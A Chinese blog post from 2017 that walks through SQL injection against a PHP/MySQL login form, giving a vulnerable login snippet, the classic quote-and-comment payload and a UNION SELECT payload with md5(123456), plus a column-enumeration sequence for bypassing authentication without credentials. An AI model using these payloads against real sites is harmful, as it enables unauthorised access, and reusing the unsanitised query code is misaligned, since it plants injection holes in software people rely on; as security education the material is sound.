Web登录敲门砖之sql注入

 

 声明:文本原创,转载请说明出处,若因本文而产生任何违法违纪行为将与本人无关。
在百度、博客园、oschina、github 、SegmentFault、上面都关于sql注入的文章和工具。
看过很多sql注入的文章。他们讲的内容大同小异,都是围绕一个“帮助单引号越狱“来展开注入。
 可惜是:他们都只提供了思路、和可行性的方案和简单却不实用的demo,却没有具体详情对针web登录来做详情的阐述和举例。
本文将以具体实例 阐述web登录的sql注入,实现对网站免账号、密码的攻击登录。

当然,实现正面的sql注入需要以下几个条件:
1 、后台程序(注意是后台程序,前后可绕过)代码没有对用户名、密码的长度做判断。
2、后台程序没有对单引号进度过滤(如果数据库编码是gbk,过滤了单引号也存在宽字节注入。本文只讲普通注入);
3、登录算法只采用了一层md5算法

一、先看下这个数据表结构--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(30) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
 
--
-- 转存表中的数据 `user`
-- 数据表里面存在一个admin用户,它的密码是123456,md5加密之后的明文
--
INSERT INTO `user` (`id`, `username`, `password`) VALUES (1, 'admin', 'fcea920f7412b5da7be0cf42b8c93759');

  

二、常见文章的攻击手段

 很多人都把登录密码时的sql假设成:
select * form user where username='$username'  and password=' ".md5($password)." ';

攻击手段:
用户名:6666 ' or 1=1 #  密码:6666  ; ( 单引号之前的字符和密码可以随意填。)

最后生成的sql是

select * form user where username='6666' or 1=1 # and password='6666 '; 

这里#号之后的字符都被注释掉了。所以密码被绕过了(之所以提出来。是因为网上大多数讲到这里就没下文了);

 

三、但其实大多数后端的代码是这样写的,先查询用户记录,再对比密码;示例代码如下:
if(!empty($_POST)) {
    $link = mysqli_connect('localhost', "root", "root");
    mysqli_select_db($link, "test");
    mysqli_set_charset($link, "utf8");
    $username = $_POST["username"];
    $password = $_POST["password"];
    $sql = "SELECT * FROM user where username='$username'";  
    $res = mysqli_query($link, $sql);
    $row = mysqli_fetch_assoc($res);
    
    if (md5($password) == $row["password"]) { 
        echo "登录成功";
       
    }else{
        echo '失败';
    }
}

  


程序很简单,先到数据库查出一个 用户名username = ”变量“的所有记录
再把从客户端拿过来的密码password md5加密 比对是否和原密码一样。
如果一样则登录成功,否则登录失败。

再看:前端页面

图片
四、发动攻击

我们希望
$row = mysqli_fetch_assoc($res); 

$row 数组内有一个字段password,和我们提交的密码$password md5后一致。

于是巧构union查询:
图片
用户名:6666 ' union select 1,2,md5(123456) as password#  (这里md5(123456) as password很重要)
密码:123456  (这里123456,必须和用户名中的123456一样)

最后生成的sql语句是 : select * form user where username='6666' union select 1,2,md5(123456) as password

  

示图如下:
图片
 
最后
完了吗?貌似完了,不过有一点要注意。因为union 查询必须要列一样,所以你的尝试中可能会报错。不过可以依次枚举。
第一次 用户名:6666 ' union select 1,2,md5(123456) as password#  
第二次 用户名:6666 ' union select 1,2,3,md5(123456) as password#  
第三次 用户名:6666 ' union select 1,2,3,4,md5(123456) as password#  
第四次 用户名:6666 ' union select 1,2,3,4,5,md5(123456) as password#  
第五次 用户名:6666 ' union select 1,2,3,4,5,6,md5(123456) as password#  
...
 

最多不超过30次就会出注入成功。最后取决user表中有多少个字段。一般来6-10左右。

最后要说的是,互联网web开发中,有太多人将不注重web安全,没有防犯意识,包括曾经的自己,甚至一些10年工作经验的老司机。实用性就不说了,再次声明:请洁身自好!
好吧,扯蛋到此结束。MD都凌晨一点半了,睡觉!



posted @ 2017-11-27 11:04  小米飞刀&  阅读(1324)  评论(6)    收藏  举报